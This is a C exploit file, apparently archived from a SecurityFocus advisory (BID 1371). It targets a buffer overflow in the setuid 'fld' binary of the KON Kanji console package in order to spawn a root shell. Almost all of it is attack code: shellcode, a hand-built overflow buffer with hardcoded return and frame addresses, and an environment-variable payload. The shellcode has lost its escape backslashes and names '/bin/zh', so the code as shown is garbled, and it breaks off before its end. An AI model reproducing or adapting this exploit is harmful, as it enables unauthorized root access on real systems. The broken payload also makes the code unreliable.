/*
source: http://www.securityfocus.com/bid/1371/info
KON (Kanji On Console) is a package for displaying Kanji text under Linux and comes with two suid binaries which are vulnerable to buffer overflows. "fld", one of the vulnerable programs, accepts options input from a text file. Through this mechanism it is possible to input arbitrary code into the stack and spawn a root shell. The other binary, kon, suffers from a buffer overflow as well. The buffer overflow in kon can be exploited via the -StartupMessage command line option, and fld via the command line options: -t bdf <file to be read>
*/
/* Exploit code for /usr/bin/fld
Compile with : gcc -o xp xp.c
Made by : E-Ligth (Hugo Oliveira Dias) 01/08/2000
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#define OFFSET 0
#define BUFFSIZE 541
#define NOP 0x90
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/zh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[])
{
int bsize = BUFFSIZE;
int offset = OFFSET;
int i;
long *addr_ptr, addr;
char *ptr,*buf,*env;
char arg[30];
if (!(buf = malloc(bsize))) {
printf("Can't allocate memory.n");
exit(0);
}
ptr = buf;
for (i = 0; i < bsize; i++)
*(ptr++) = shellcode[i];
buf[519] = 0x3c; /* Saved EBP 0xbffffa3c */
buf[520] = 0xfa;
buf[521] = 0xff;
buf[522] = 0xbf;
buf[523] = 0x10; /* Return Address 0xbffff710 */
buf[524] = 0xf7;
buf[525] = 0xff;
buf[526] = 0xbf;
buf[527] = 0x90; /* fp variable 0x804bf90 */
buf[528] = 0xbf;
buf[529] = 0x04;
buf[530] = 0x08;
buf[531] = 0xef; /* variable thats shouldn�t be destroyed 0xbffffbef */
buf[532] = 0xfb;
buf[533] = 0xff;
buf[534] = 0xbf;
buf[535] = 0x60; /* variable thats shouldn�t be destroyed 0x40013460 */
buf[536] = 0x34;
buf[537] = 0x01;
buf[538] = 0x40;
memcpy(buf,"-type "",7);
buf[540] = ' ';
buf[539] = '"';
memcpy(arg,"-type bdf ./code",16);
arg[16] = ' ';
env = (char *) malloc(bsize + 10);
memcpy(env,"EGG=",4);
strcat(env,buf);
putenv(env);
system("/bin/bash");
exit(0);
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